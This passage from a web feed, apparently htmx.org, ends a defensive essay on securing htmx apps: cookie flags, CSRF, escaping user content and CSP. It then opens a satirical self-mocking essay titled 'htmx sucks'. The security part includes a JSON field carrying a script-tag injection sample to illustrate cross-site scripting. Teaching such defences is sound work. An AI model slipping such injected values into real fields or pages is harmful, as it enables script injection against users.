&lt;p&gt;You can also set options on that cookie, like the ones I recommended above. How to do this differs depending on the programming language, but the outcome is always an HTTP response that looks like this:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#1f2329;color:#abb2bf;&quot;&gt;&lt;code&gt;&lt;span&gt;HTTP&#x2F;2.0 200 OK
&lt;&#x2F;span&gt;&lt;span&gt;Content-Type: text&#x2F;html
&lt;&#x2F;span&gt;&lt;span&gt;Set-Cookie: token=asd8234nsdfp982; Secure; HttpOnly; SameSite=Lax
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;[HTML content]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So what do the options do?&lt;&#x2F;p&gt;
&lt;p&gt;The first one, &lt;code&gt;Secure&lt;&#x2F;code&gt;, ensures that the browser will not send the cookie over an insecure HTTP connection, only a secure HTTPS connection. Sensitive info, like a user’s login token, should &lt;em&gt;never&lt;&#x2F;em&gt; be sent over an insecure connection.&lt;&#x2F;p&gt;
&lt;p&gt;The second option, &lt;code&gt;HttpOnly&lt;&#x2F;code&gt;, means that the browser will not expose the cookie to JavaScript, ever (i.e. it won’t be in &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;API&#x2F;Document&#x2F;cookie&quot;&gt;&lt;code&gt;document.cookie&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;). Even if someone is able to insert a malicious script, like in the &lt;code&gt;evilwebsite.com&lt;&#x2F;code&gt; example above, that malicious script cannot access the user’s cookie or send it to &lt;code&gt;evilwebsite.com&lt;&#x2F;code&gt;. The browser will only attach the cookie when the request is made to the website the cookie came from.&lt;&#x2F;p&gt;
&lt;p&gt;Finally, &lt;code&gt;SameSite=Lax&lt;&#x2F;code&gt; locks down an avenue for Cross-Site Request Forgery (CSRF) attacks, which is where an attacker tries to get the client’s browser to make a malicious request to the &lt;code&gt;yourdomain.com&lt;&#x2F;code&gt; server—like a POST request. The &lt;code&gt;SameSite=Lax&lt;&#x2F;code&gt; setting tells the browser not to send the &lt;code&gt;yourdomain.com&lt;&#x2F;code&gt; cookie if the site that made the request isn’t &lt;code&gt;yourdomain.com&lt;&#x2F;code&gt;—unless it’s a straightforward &lt;code&gt;&amp;lt;a&amp;gt;&lt;&#x2F;code&gt; link navigating to your page. This is &lt;em&gt;mostly&lt;&#x2F;em&gt; browser default behavior now, but it’s important to still set it directly.&lt;&#x2F;p&gt;
&lt;p&gt;In 2024, &lt;code&gt;SameSite=Lax&lt;&#x2F;code&gt; is &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;security.stackexchange.com&#x2F;questions&#x2F;252300&#x2F;do-i-still-need-a-csrf-token&quot;&gt;usually enough&lt;&#x2F;a&gt; to protect against CSRF, but there are &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cheatsheetseries.owasp.org&#x2F;cheatsheets&#x2F;Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html&quot;&gt;additional mitigations&lt;&#x2F;a&gt; you can consider as well for more sensitive or complicated cases.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Important Note:&lt;&#x2F;strong&gt; &lt;code&gt;SameSite=Lax&lt;&#x2F;code&gt; only protects you at the domain level, not the subdomain level (i.e. &lt;code&gt;yourdomain.com&lt;&#x2F;code&gt;, not &lt;code&gt;yoursite.github.io&lt;&#x2F;code&gt;). If you’re doing user login, you should always be doing that at your own domain in production. Sometimes the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;security.stackexchange.com&#x2F;questions&#x2F;223473&#x2F;for-samesite-cookie-with-subdomains-what-are-considered-the-same-site&quot;&gt;Public Suffixes List&lt;&#x2F;a&gt; will protect you, but you shouldn’t rely on that.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;breaking-the-rules&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#breaking-the-rules&quot; aria-label=&quot;Anchor link for: breaking-the-rules&quot;&gt;Breaking the rules&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;We started with the easiest, most secure practices—that way mistakes lead to a broken UX, which can be fixed, rather than stolen data, which cannot.&lt;&#x2F;p&gt;
&lt;p&gt;Some web applications demand more complicated functionality, with more user customization; they also require more complicated security mechanisms. You should only break these rules if you are convinced that it is absolutely necessary, and the desired functionality cannot be implemented through alternative means.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;calling-untrusted-apis&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#calling-untrusted-apis&quot; aria-label=&quot;Anchor link for: calling-untrusted-apis&quot;&gt;Calling untrusted APIs&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Calling untrusted HTML APIs is lunacy. Never do this.&lt;&#x2F;p&gt;
&lt;p&gt;There are cases where you might want to call someone else’s JSON API from the client, and that’s fine, because JSON cannot execute arbitrary scripts. In that case, you’ll probably want to do something with that data to turn it into HTML. Don’t use htmx to do that—use &lt;code&gt;fetch&lt;&#x2F;code&gt; and &lt;code&gt;JSON.parse()&lt;&#x2F;code&gt;; if the untrusted API pulls a fast one and returns HTML instead of JSON, &lt;code&gt;JSON.parse()&lt;&#x2F;code&gt; will just fail harmlessly.&lt;&#x2F;p&gt;
&lt;p&gt;Keep in mind that the JSON you parse might have a &lt;em&gt;property&lt;&#x2F;em&gt; that is formatted as HTML, though:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&lt;span&gt;{ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;name&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&amp;lt;script&amp;gt;alert(&amp;#39;Hahaha I am a script&amp;#39;)&amp;lt;&#x2F;script&amp;gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Therefore, don’t insert JSON values as HTML either—use &lt;code&gt;textContent&lt;&#x2F;code&gt; if you’re doing something like that. This is well outside the realm of htmx-controlled UI though.&lt;&#x2F;p&gt;
&lt;p&gt;The 2.0 version of htmx will include a &lt;code&gt;textContent&lt;&#x2F;code&gt; swap, if you want to call someone else’s API directly from the client and just put that text into the page.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;custom-html-controls&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#custom-html-controls&quot; aria-label=&quot;Anchor link for: custom-html-controls&quot;&gt;Custom HTML controls&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Unlike calling untrusted HTML routes, there are a lot of good reasons to let users do dynamic HTML-formatted content.&lt;&#x2F;p&gt;
&lt;p&gt;What if, say, you want to let users link to an image?&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;img &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;src&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;{{ user.fav_img }}&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;alt&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;{{ user.fav_img_alt }}&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Or link to their personal website?&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;{{ user.fav_link }}&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The default “escape everything” approach escapes forward slashes, so it will bork user-submitted URLs.&lt;&#x2F;p&gt;
&lt;p&gt;You can fix this in a couple of ways. The simplest, and safest, trick is to let users customize these values, but don’t let them define the literal text. In the image example, you might upload the image to your own server (or S3 bucket, or the like), generate the link yourself, and then include it, unescaped. In nunjucks, you use the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mozilla.github.io&#x2F;nunjucks&#x2F;templating.html#safe&quot;&gt;safe&lt;&#x2F;a&gt; function:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;img &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;src&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;{{ user.fav_img_s3_url | safe }}&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;alt&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;{{ user.fav_img_alt }}&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Yes, you’re including unescaped content, but it’s a link that you generated, so you know it’s safe.&lt;&#x2F;p&gt;
&lt;p&gt;You can handle custom CSS in the same way. Rather than let your users specify the color directly, give them some limited choices, and set the choices based on their input.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;css&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-css &quot;&gt;&lt;code class=&quot;language-css&quot; data-lang=&quot;css&quot;&gt;&lt;span&gt;{% if user.favorite_color === &amp;#39;red&amp;#39; %}
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;h1 &lt;&#x2F;span&gt;&lt;span&gt;{ color: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;red&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;; }
&lt;&#x2F;span&gt;&lt;span&gt;{% else %}
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;h1 &lt;&#x2F;span&gt;&lt;span&gt;{ color: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;blue&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;; }
&lt;&#x2F;span&gt;&lt;span&gt;{% endif %}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In that example, the user can set &lt;code&gt;favorite_color&lt;&#x2F;code&gt; to whatever they like, but it’s never going to be anything but red or blue. A less trivial example might ensure that only properly-formatted hex codes can be entered, using a regex. You get the idea.&lt;&#x2F;p&gt;
&lt;p&gt;Depending on what kind of customization you’re supporting, securing it might be relatively easy, or quite difficult. Some attributes are &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cheatsheetseries.owasp.org&#x2F;cheatsheets&#x2F;Cross_Site_Scripting_Prevention_Cheat_Sheet.html#safe-sinks&quot;&gt;“safe sinks,”&lt;&#x2F;a&gt; which means that their values will never be interpreted as code; these are quite easy to secure. If you’re going to include dynamic input in &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cheatsheetseries.owasp.org&#x2F;cheatsheets&#x2F;Cross_Site_Scripting_Prevention_Cheat_Sheet.html#dangerous-contexts&quot;&gt;“dangerous contexts,”&lt;&#x2F;a&gt; you need to research &lt;em&gt;what&lt;&#x2F;em&gt; is dangerous about those contexts, and ensure that that kind of input won’t make it into the document.&lt;&#x2F;p&gt;
&lt;p&gt;If you want to let users link to arbitrary websites or images, for instance, that’s a lot more complicated. First, make sure to put the attributes inside quotes (most people do this anyway). Then you will need to do something like write a custom escaping function that escapes everything &lt;em&gt;but&lt;&#x2F;em&gt; forward slashes (and possibly ampersands), so the link will work properly.&lt;&#x2F;p&gt;
&lt;p&gt;But even if you do that correctly, you are introducing some new security challenges. That image link can be used to track your users, since your users will request it directly from someone else’s server. Maybe you’re fine with that, maybe you include other mitigations. The important part is that you are aware that introducing this level of customization comes with a more difficult security model, and if you don’t have the bandwidth to research and test it, you shouldn’t do it.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;non-cookie-authentication&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#non-cookie-authentication&quot; aria-label=&quot;Anchor link for: non-cookie-authentication&quot;&gt;Non-cookie authentication&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;JavaScript SPAs sometimes authenticate by saving a token in the client’s local storage, and then adding that to the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTTP&#x2F;Headers&#x2F;Authorization&quot;&gt;&lt;code&gt;Authorization&lt;&#x2F;code&gt; header&lt;&#x2F;a&gt; of each request. Unfortunately, there’s no way to set the &lt;code&gt;Authorization&lt;&#x2F;code&gt; header without using JavaScript, which is not as secure; if it’s available to your trusted JavaScript, it’s available to attackers if they manage to get a malicious script onto your page. Instead, use a cookie (with the above attributes), which can be set and secured without touching JavaScript at all.&lt;&#x2F;p&gt;
&lt;p&gt;Why is there an &lt;code&gt;Authorization&lt;&#x2F;code&gt; header but no way to set it with hypermedia controls? Well, that’s just one of WHATWG’s &lt;del&gt;outrageous omissions&lt;&#x2F;del&gt; little mysteries.&lt;&#x2F;p&gt;
&lt;p&gt;You might need to use an &lt;code&gt;Authorization&lt;&#x2F;code&gt; header if you’re authenticating the user’s client with an API that you don’t control, in which case the regular precautions about routes you don’t control apply.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bonus-content-security-policy&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#bonus-content-security-policy&quot; aria-label=&quot;Anchor link for: bonus-content-security-policy&quot;&gt;Bonus: Content Security Policy&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;You should also be aware of the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTTP&#x2F;Headers&#x2F;Content-Security-Policy&quot;&gt;Content Security Policy&lt;&#x2F;a&gt; (CSP), which uses HTTP headers to set rules about the kind of content that your page is allowed to run. You can restrict the page to only load images from your domain, for example, or to disable inline scripts.&lt;&#x2F;p&gt;
&lt;p&gt;This is not one of the golden rules because it’s not as easy to apply universally. There’s no “one size fits most” CSP. Some htmx applications make use of inline scripting—the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;attributes&#x2F;hx-on&#x2F;&quot;&gt;&lt;code&gt;hx-on&lt;&#x2F;code&gt; attribute&lt;&#x2F;a&gt; is a generalized attribute listener that can evaluate arbitrary scripts (although &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;docs&#x2F;#configuration-options&quot;&gt;it can be disabled&lt;&#x2F;a&gt; if you don’t need it). Sometimes inline scripts are appropriate to preserve &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;locality-of-behaviour&#x2F;&quot;&gt;locality of behavior&lt;&#x2F;a&gt; on a application that is sufficiently secured against XSS, sometimes inline scripts aren’t necessary and you can adopt a stricter CSP. It all depends on your application’s security profile—it’s on to you to be aware of the options available to you and able to perform that analysis.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;is-this-a-step-back&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#is-this-a-step-back&quot; aria-label=&quot;Anchor link for: is-this-a-step-back&quot;&gt;Is this a step back?&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;You might reasonably wonder: if I didn’t have to know these things when I was building SPAs, isn’t htmx a step back in security? We would challenge both parts of that statement.&lt;&#x2F;p&gt;
&lt;p&gt;This article is not intended to be a defense of htmx’s security properties, but there are a lot of areas where hypermedia applications are, by default, a lot more secure than JSON-based frontends. HTML APIs only send back the information that’s supposed to be rendered—it’s a lot easier for unintended data to “hide” in a JSON response and leak to the user. Hypermedia APIs also don’t lend themselves to implementing a generalized query language, like GraphQL, on the client, which &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;intercoolerjs.org&#x2F;2016&#x2F;02&#x2F;17&#x2F;api-churn-vs-security.html&quot;&gt;require a &lt;em&gt;massively&lt;&#x2F;em&gt; more complicated security model&lt;&#x2F;a&gt;. Flaws of all kinds hide in your application’s complexity; hypermedia applications are, generally speaking, less complex, and therefore easier to secure.&lt;&#x2F;p&gt;
&lt;p&gt;You also need to know about XSS attacks if you’re putting dynamic content on the web, period. A developer who doesn’t understand how XSS works won’t understand what’s dangerous about using React’s &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;react.dev&#x2F;reference&#x2F;react-dom&#x2F;components&#x2F;common#dangerously-setting-the-inner-html&quot;&gt;&lt;code&gt;dangerouslySetInnerHTML&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;—and they’ll go ahead and set it the first time they need to render rich user-generated text. It is the library’s responsibility to make those security basics as easy to find as possible; it has always been the developer’s responsibility to learn and follow them.&lt;&#x2F;p&gt;
&lt;p&gt;This article is organized to making securing your htmx application a “pit of success”—follow these simple rules and you are very unlikely to code an XSS vulnerability. But it’s impossible to write a library that’s going to be secure in the hands of a developer who refuses to learn &lt;em&gt;anything&lt;&#x2F;em&gt; about security, because security is about controlling access to information, and it will always be the human’s job to explain to the computer precisely who has access to what information.&lt;&#x2F;p&gt;
&lt;p&gt;Writing secure web applications is &lt;em&gt;hard&lt;&#x2F;em&gt;. There are plenty of easy pitfalls related to routing, database access, HTML templating, business logic, and more. And yet, if security is only the domain of security experts, then only security experts should be making web applications. Maybe that should be the case! But if only security experts are making web applications, they definitely know how to use a template engine correctly, so htmx will be no trouble for them.&lt;&#x2F;p&gt;
&lt;p&gt;For everyone else:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Don’t call untrusted routes&lt;&#x2F;li&gt;
&lt;li&gt;Use an auto-escaping template engine&lt;&#x2F;li&gt;
&lt;li&gt;Only put user-generated content inside HTML tags&lt;&#x2F;li&gt;
&lt;li&gt;Secure your cookies&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>htmx sucks</title>
        <published>2024-02-01T00:00:00+00:00</published>
        <updated>2024-04-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/htmx-sucks/"/>
        <id>https://htmx.org/essays/htmx-sucks/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/htmx-sucks/">&lt;p&gt;I have been following &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&quot;&gt;htmx&lt;&#x2F;a&gt; for a while now.  I thought it was a somewhat funny&#x2F;cringey meme
and that it served as some light comic relief from the real work being done in web development, things like
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;react.dev&#x2F;reference&#x2F;react&#x2F;use-server&quot;&gt;React Server Components&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;svelte.dev&#x2F;blog&#x2F;runes&quot;&gt;Svelte Runes&lt;&#x2F;a&gt;
and &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.solidjs.com&#x2F;tutorial&#x2F;introduction_signals&quot;&gt;Signals&lt;&#x2F;a&gt; that are actually pushing the state of the art forward.&lt;&#x2F;p&gt;
&lt;p&gt;Unfortunately at some point &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;star-history.com&#x2F;#bigskysoftware&#x2F;htmx&amp;amp;Date&quot;&gt;in the middle of 2023&lt;&#x2F;a&gt;
people began to actually take htmx seriously for &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=zjHHIqI9lUY&quot;&gt;some&lt;&#x2F;a&gt; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=r-GSGH2RxJs&quot;&gt;reason&lt;&#x2F;a&gt;.
This is an extremely alarming turn of events that has me deeply concerned for the future of web development.&lt;&#x2F;p&gt;
&lt;p&gt;And I’m not alone in my alarm: you can read an excellent &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archive.is&#x2F;rQrl7&quot;&gt;dressing down of htmx here&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Basically they put their ignorance on full display, then attribute all sorts of unfounded merits to whatever they’ve
done hoping that everyone else pats them on the back for it.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;So true. So, so true.&lt;&#x2F;p&gt;
&lt;p&gt;Unfortunately, the language in that excellent medium post is academic and, without a solid grasp of theoretical HTML,
many of the more important points in it will go over a typical web developers head.&lt;&#x2F;p&gt;
&lt;p&gt;So, in this article, I will attempt to present, in plain language for the layman web developer, why &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;htmx-sucks&#x2F;&quot;&gt;htmx sucks&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-code-is-crap&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-code-is-crap&quot; aria-label=&quot;Anchor link for: the-code-is-crap&quot;&gt;The Code Is Crap&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;First of all, consider the code for htmx.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;htmx&#x2F;blob&#x2F;master&#x2F;src&#x2F;htmx.js&quot;&gt;Look at this garbage.&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;They use &lt;code&gt;var&lt;&#x2F;code&gt; all over the place, almost no modern JavaScript features (hello, htmx people, have you heard of
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;JavaScript&#x2F;Guide&#x2F;Modules&quot;&gt;Modules&lt;&#x2F;a&gt;?), they pollute the &lt;code&gt;window&lt;&#x2F;code&gt; name space, and on and on and on.&lt;&#x2F;p&gt;
&lt;p&gt;Worst of all, it’s just one big ball of JavaScript!  One file!  It isn’t decomposed at all.  If this person
took one of my &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cs.montana.edu&#x2F;directory&#x2F;2256398&#x2F;carson-gross&quot;&gt;classes at MSU&lt;&#x2F;a&gt; I would fail them based
solely on this complete misunderstanding of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Separation_of_concerns&quot;&gt;Separation of Concerns&lt;&#x2F;a&gt;,
something any freshman in computer science should be able to grasp.&lt;&#x2F;p&gt;
&lt;p&gt;Good software starts with clean code, and this code is filthy.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;no-build-tools&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#no-build-tools&quot; aria-label=&quot;Anchor link for: no-build-tools&quot;&gt;No Build Tools&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The next red flag is the lack of a build step.  Not only does htmx not have a traditional build step, thereby depriving
themselves of the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;vitejs.dev&#x2F;guide&#x2F;why.html&quot;&gt;benefits&lt;&#x2F;a&gt; that the rest of the JavaScript community
enjoys, but they &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;no-build-step&#x2F;&quot;&gt;actively brag&lt;&#x2F;a&gt; about it!&lt;&#x2F;p&gt;
&lt;p&gt;And it gets worse.&lt;&#x2F;p&gt;
&lt;p&gt;If you look closely, even though they claim to not have a build step, they &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;htmx&#x2F;blob&#x2F;bedee219329117fff8d58e33678d82f7c34b08b5&#x2F;package.json#L30&quot;&gt;&lt;em&gt;actually do&lt;&#x2F;em&gt;&lt;&#x2F;a&gt;
have a build step, it’s just an ad hoc set of bash scripts they wrote themselves.&lt;&#x2F;p&gt;
&lt;p&gt;Ridiculous &lt;em&gt;and&lt;&#x2F;em&gt; dishonest.  Shameful.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;no-typescript&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#no-typescript&quot; aria-label=&quot;Anchor link for: no-typescript&quot;&gt;No Typescript&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Despite the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.logrocket.com&#x2F;understanding-typescripts-benefits-pitfalls&#x2F;&quot;&gt;obvious benefits&lt;&#x2F;a&gt; of
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.typescriptlang.org&#x2F;&quot;&gt;TypeScript&lt;&#x2F;a&gt; for a project like htmx, the authors have stubbornly resisted using it.
Part of this is their irrational opposition to a build step (which they actually have, btw!) but part of it is a ridiculous
commitment to “shipping debuggable source code”.  Of course, as any JavaScript developer who isn’t a complete idiot knows,
TypeScript supports &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.typescriptlang.org&#x2F;tsconfig#sourceMap&quot;&gt;Source Maps&lt;&#x2F;a&gt; that make it perfectly debuggable.  Despite this fact, the authors continue to
insist on using an antiquated version of JavaScript for development.&lt;&#x2F;p&gt;
&lt;p&gt;In a tacit admission that they screwed up, they are now belatedly adding &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;jsdoc.app&#x2F;&quot;&gt;JSDoc&lt;&#x2F;a&gt; annotations
to their codebase (I use the word loosely here).  All this to make up for the fact that they didn’t do the obvious,
correct thing initially and simply write the whole project in modern, modular TypeScript.&lt;&#x2F;p&gt;
&lt;p&gt;The only good news here is that at least they have a halfway-decent &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;htmx&#x2F;blob&#x2F;master&#x2F;test&#x2F;index.html&quot;&gt;test suite&lt;&#x2F;a&gt;, and given the state of the codebase, they
better damned well!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;antiquated-technology&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#antiquated-technology&quot; aria-label=&quot;Anchor link for: antiquated-technology&quot;&gt;Antiquated Technology&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;OK, that covers the major (but by no means all!) issues with the htmx codebase itself.  Let’s move on to more general
issues with htmx.&lt;&#x2F;p&gt;
